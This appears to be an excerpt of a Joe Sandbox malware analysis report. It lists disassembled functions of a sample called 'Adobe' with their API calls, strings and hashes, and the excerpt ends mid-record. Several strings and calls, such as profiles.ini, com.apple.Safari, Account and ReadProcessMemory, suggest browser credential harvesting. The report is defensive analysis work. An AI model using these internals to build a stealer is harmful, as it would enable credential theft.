                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                          • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                          • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                          • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                          • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                          • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                                                                                        • String ID:
                                                                                        • API String ID: 1828521557-0
                                                                                        • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                        • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                                                                                        • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                        • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                                                                                        Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                          • Part of subcall function 004062A6: SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                        • memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,?,00000000,0040627C), ref: 00406942
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??2@FilePointermemcpy
                                                                                        • String ID:
                                                                                        • API String ID: 609303285-0
                                                                                        • Opcode ID: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                        • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                                                                                        • Opcode Fuzzy Hash: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                        • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                                                                                        Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _wcsicmp
                                                                                        • String ID:
                                                                                        • API String ID: 2081463915-0
                                                                                        • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                        • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                                                                                        • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                        • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                                                                                        Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF,00406224,00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF), ref: 0040629C
                                                                                          • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                        • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                                                                                          • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$CloseCreateErrorHandleLastRead
                                                                                        • String ID:
                                                                                        • API String ID: 2136311172-0
                                                                                        • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                        • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                                                                                        • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                        • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                                                                                        Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000001,00000001,00401E7F), ref: 0040AFD8
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??2@??3@
                                                                                        • String ID:
                                                                                        • API String ID: 1936579350-0
                                                                                        • Opcode ID: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                        • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                                                                                        • Opcode Fuzzy Hash: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                        • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8
                                                                                        Function 0040B633 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free
                                                                                        • String ID:
                                                                                        • API String ID: 1294909896-0
                                                                                        • Opcode ID: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                        • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                                                                                        • Opcode Fuzzy Hash: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                        • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                                                                                        Function 0040AA04 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free
                                                                                        • String ID:
                                                                                        • API String ID: 1294909896-0
                                                                                        • Opcode ID: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                        • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                                                                                        • Opcode Fuzzy Hash: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                        • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18
                                                                                        Function 00415304 Relevance: 1.3, APIs: 1, Instructions: 6COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free
                                                                                        • String ID:
                                                                                        • API String ID: 1294909896-0
                                                                                        • Opcode ID: c64955702a5dc36c53a796a23ab56cc8adc6c768dfa77ba71ac51c435adf9ecd
                                                                                        • Instruction ID: e7ff0dbf640816315c9486a8db62c76896ac9b8339bf6d895034c27267ad2de3
                                                                                        • Opcode Fuzzy Hash: c64955702a5dc36c53a796a23ab56cc8adc6c768dfa77ba71ac51c435adf9ecd
                                                                                        • Instruction Fuzzy Hash: A5A022A200820023CC00AB3CCC02A0A33880EE323EB320B0EB032C20C2CF38C830B00E

                                                                                        Non-executed Functions

                                                                                        Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetLastError.KERNEL32 ref: 004182D7
                                                                                          • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                        • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                                                                                        • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                                                                                        • LocalFree.KERNEL32(?), ref: 00418342
                                                                                        • free.MSVCRT ref: 00418370
                                                                                          • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,7591DF80,?,0041755F,?), ref: 00417452
                                                                                          • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: FormatMessage$ByteCharErrorFreeLastLocalMultiVersionWidefreemalloc
                                                                                        • String ID: OsError 0x%x (%u)
                                                                                        • API String ID: 2360000266-2664311388
                                                                                        • Opcode ID: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                        • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                                                                                        • Opcode Fuzzy Hash: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                        • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                                                                                        Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Version
                                                                                        • String ID:
                                                                                        • API String ID: 1889659487-0
                                                                                        • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                        • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                                                                                        • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                        • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                                                                                        Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • _wcsicmp.MSVCRT ref: 004022A6
                                                                                        • _wcsicmp.MSVCRT ref: 004022D7
                                                                                        • _wcsicmp.MSVCRT ref: 00402305
                                                                                        • _wcsicmp.MSVCRT ref: 00402333
                                                                                          • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                          • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                        • memset.MSVCRT ref: 0040265F
                                                                                        • memcpy.MSVCRT(?,?,00000011), ref: 0040269B
                                                                                          • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000), ref: 00404453
                                                                                          • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                        • memcpy.MSVCRT(?,?,0000001C,?,?,00000000,?), ref: 004026FF
                                                                                        • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                                                                                        • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _wcsicmp$Freememcpy$Library$AddressLocalProcmemsetwcslen
                                                                                        • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                                                                                        • API String ID: 577499730-1134094380
                                                                                        • Opcode ID: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                                                                                        • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                                                                                        • Opcode Fuzzy Hash: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                                                                                        • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                                                                                        Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                                                                                        • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                                                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                                                                                        • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                                                                                        • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                                                                                        • GetWindowRect.USER32(00000000,?), ref: 0041407D
                                                                                        • GetWindowRect.USER32(?,?), ref: 00414088
                                                                                        • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                                                                                        • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                                                                                        • GetDC.USER32 ref: 004140E3
                                                                                        • wcslen.MSVCRT ref: 00414123
                                                                                        • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                                                                                        • ReleaseDC.USER32(?,?), ref: 00414181
                                                                                        • _snwprintf.MSVCRT ref: 00414244
                                                                                        • SetWindowTextW.USER32(?,?), ref: 00414258
                                                                                        • SetWindowTextW.USER32(?,00000000), ref: 00414276
                                                                                        • GetDlgItem.USER32(?,00000001), ref: 004142AC
                                                                                        • GetWindowRect.USER32(00000000,?), ref: 004142BC
                                                                                        • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004142CA
                                                                                        • GetClientRect.USER32(?,?), ref: 004142E1
                                                                                        • GetWindowRect.USER32(?,?), ref: 004142EB
                                                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 00414331
                                                                                        • GetClientRect.USER32(?,?), ref: 0041433B
                                                                                        • SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 00414373
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Window$Rect$Long$ItemPointsText$Client$ExtentPoint32Release_snwprintfwcslen
                                                                                        • String ID: %s:$EDIT$STATIC
                                                                                        • API String ID: 2080319088-3046471546
                                                                                        • Opcode ID: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                        • Instruction ID: eff71af8639f47ea0b7533f6321954d8b94ad3b67000e3ed03306cc56154d199
                                                                                        • Opcode Fuzzy Hash: 4cffa952f3a039c60e8efdb869f217de44d75a47fa5f06f0d0d0713d1b76c38a
                                                                                        • Instruction Fuzzy Hash: F8B1DF71108301AFD721DFA9C985E6BBBF9FF88704F004A2DF69582261DB75E9448F16
                                                                                        Function 004131DC Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • EndDialog.USER32(?,?), ref: 00413221
                                                                                        • GetDlgItem.USER32(?,000003EA), ref: 00413239
                                                                                        • SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00413257
                                                                                        • SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00413263
                                                                                        • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0041326B
                                                                                        • memset.MSVCRT ref: 00413292
                                                                                        • memset.MSVCRT ref: 004132B4
                                                                                        • memset.MSVCRT ref: 004132CD
                                                                                        • memset.MSVCRT ref: 004132E1
                                                                                        • memset.MSVCRT ref: 004132FB
                                                                                        • memset.MSVCRT ref: 00413310
                                                                                        • GetCurrentProcess.KERNEL32 ref: 00413318
                                                                                        • ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0041333B
                                                                                        • ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 0041336D
                                                                                        • memset.MSVCRT ref: 004133C0
                                                                                        • GetCurrentProcessId.KERNEL32 ref: 004133CE
                                                                                        • memcpy.MSVCRT(?,0045AA90,0000021C), ref: 004133FC
                                                                                        • wcscpy.MSVCRT ref: 0041341F
                                                                                        • _snwprintf.MSVCRT ref: 0041348E
                                                                                        • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004134A6
                                                                                        • GetDlgItem.USER32(?,000003EA), ref: 004134B0
                                                                                        • SetFocus.USER32(00000000), ref: 004134B7
                                                                                        Strings
                                                                                        • Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00413483
                                                                                        • {Unknown}, xrefs: 004132A6
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
                                                                                        • String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
                                                                                        • API String ID: 4111938811-1819279800
                                                                                        • Opcode ID: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                        • Instruction ID: fb691a4f2f0ee0f23db40d54bf7b3fb7beca904c55697b54c7815e943e903c38
                                                                                        • Opcode Fuzzy Hash: 97bbb4bd5fc40a2980dfba304632497cbec8fb91d9ab00b7ac9f2109681e0e22
                                                                                        • Instruction Fuzzy Hash: A97182B280021DBFEB219F51DC45EEA3B7CFB08355F0440B6F508A6161DB799E948F69
                                                                                        Function 00401198 Relevance: 39.2, APIs: 26, Instructions: 185COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetDlgItem.USER32(?,000003EC), ref: 004011F0
                                                                                        • ChildWindowFromPoint.USER32(?,?,?), ref: 00401202
                                                                                        • GetDlgItem.USER32(?,000003EE), ref: 00401238
                                                                                        • ChildWindowFromPoint.USER32(?,?,?), ref: 00401245
                                                                                        • GetDlgItem.USER32(?,000003EC), ref: 00401273
                                                                                        • ChildWindowFromPoint.USER32(?,?,?), ref: 00401285
                                                                                        • GetModuleHandleW.KERNEL32(00000000,?,?), ref: 0040128E
                                                                                        • LoadCursorW.USER32(00000000,00000067), ref: 00401297
                                                                                        • SetCursor.USER32(00000000,?,?), ref: 0040129E
                                                                                        • GetDlgItem.USER32(?,000003EE), ref: 004012BF
                                                                                        • ChildWindowFromPoint.USER32(?,?,?), ref: 004012CC
                                                                                        • GetDlgItem.USER32(?,000003EC), ref: 004012E6
                                                                                        • SetBkMode.GDI32(?,00000001), ref: 004012F2
                                                                                        • SetTextColor.GDI32(?,00C00000), ref: 00401300
                                                                                        • GetSysColorBrush.USER32(0000000F), ref: 00401308
                                                                                        • GetDlgItem.USER32(?,000003EE), ref: 00401329
                                                                                        • EndDialog.USER32(?,?), ref: 0040135E
                                                                                        • DeleteObject.GDI32(?), ref: 0040136A
                                                                                        • GetDlgItem.USER32(?,000003ED), ref: 0040138F
                                                                                        • ShowWindow.USER32(00000000), ref: 00401398
                                                                                        • GetDlgItem.USER32(?,000003EE), ref: 004013A4
                                                                                        • ShowWindow.USER32(00000000), ref: 004013A7
                                                                                        • SetDlgItemTextW.USER32(?,000003EE,0045D778), ref: 004013B8
                                                                                        • SetWindowTextW.USER32(?,00000000), ref: 004013CA
                                                                                        • SetDlgItemTextW.USER32(?,000003EA,?), ref: 004013E2
                                                                                        • SetDlgItemTextW.USER32(?,000003EC,?), ref: 004013F3
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
                                                                                        • String ID:
                                                                                        • API String ID: 829165378-0
                                                                                        • Opcode ID: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                        • Instruction ID: caa3714a391556dce09a7e5fb0b25e31ef738818e6d8753142f97b5ec5ee2caf
                                                                                        • Opcode Fuzzy Hash: 19a332b7149b8c9d9d3d6ff7d6a76f82ec59d5834f8b717de0dd62f1513d673f
                                                                                        • Instruction Fuzzy Hash: 0051B134500708AFEB32AF61DC85E6E7BB9FB44301F10093AF552A61F1C7B9A991DB19
                                                                                        Function 0040414F Relevance: 35.1, APIs: 13, Strings: 7, Instructions: 145COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 00404172
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                          • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                          • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                          • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                          • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                        • wcscpy.MSVCRT ref: 004041D6
                                                                                        • wcscpy.MSVCRT ref: 004041E7
                                                                                        • memset.MSVCRT ref: 00404200
                                                                                        • memset.MSVCRT ref: 00404215
                                                                                        • _snwprintf.MSVCRT ref: 0040422F
                                                                                        • wcscpy.MSVCRT ref: 00404242
                                                                                        • memset.MSVCRT ref: 0040426E
                                                                                        • memset.MSVCRT ref: 004042CD
                                                                                        • memset.MSVCRT ref: 004042E2
                                                                                        • _snwprintf.MSVCRT ref: 004042FE
                                                                                        • wcscpy.MSVCRT ref: 00404311
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$wcscpy$_snwprintfwcslen$AttributesFilewcscat
                                                                                        • String ID: AE$General$IsRelative$Path$Profile%d$profiles.ini$EA
                                                                                        • API String ID: 2454223109-1580313836
                                                                                        • Opcode ID: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                        • Instruction ID: 5f54f20862f9259acc4f568515dc65a5c395277ecd0331c6beb9e3a358a2eb32
                                                                                        • Opcode Fuzzy Hash: 14b0d88d68d2695e792434069e0167c5559d7d25d781ac3d9655dfb0e2d65502
                                                                                        • Instruction Fuzzy Hash: 18512FB294012CBADB20EB55DC45ECFB7BCBF55744F0040E6B50CA2142EA795B84CFAA
                                                                                        Function 00411346 Relevance: 31.8, APIs: 13, Strings: 5, Instructions: 263windowregistryclipboardCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0040D407: LoadMenuW.USER32(00000000), ref: 0040D40F
                                                                                        • SetMenu.USER32(?,00000000), ref: 00411453
                                                                                        • SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00411486
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00411495
                                                                                        • LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 004114A2
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 004114D9
                                                                                        • CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00411500
                                                                                        • memcpy.MSVCRT(?,?,00002008,/nosaveload,00000000,00000001), ref: 004115C8
                                                                                        • ShowWindow.USER32(?,?), ref: 004115FE
                                                                                        • GetFileAttributesW.KERNEL32(0045E078), ref: 0041162F
                                                                                        • GetTempPathW.KERNEL32(00000104,0045E078), ref: 0041163F
                                                                                        • RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 0041167A
                                                                                        • SendMessageW.USER32(?,00000404,00000002,?), ref: 004116B4
                                                                                        • SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 004116C7
                                                                                          • Part of subcall function 00404592: wcslen.MSVCRT ref: 004045AF
                                                                                          • Part of subcall function 00404592: SendMessageW.USER32(?,00001061,?,?), ref: 004045D3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: MessageSend$HandleLoadMenuModuleWindow$AttributesClipboardCreateFileFormatImagePathRegisterShowTempmemcpywcslen
                                                                                        • String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html$xE
                                                                                        • API String ID: 4054529287-3175352466
                                                                                        • Opcode ID: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                        • Instruction ID: 800f7bfcdfcb1fd3e7c20450dd8eb4425a557a8a4e928c852398501c1500280f
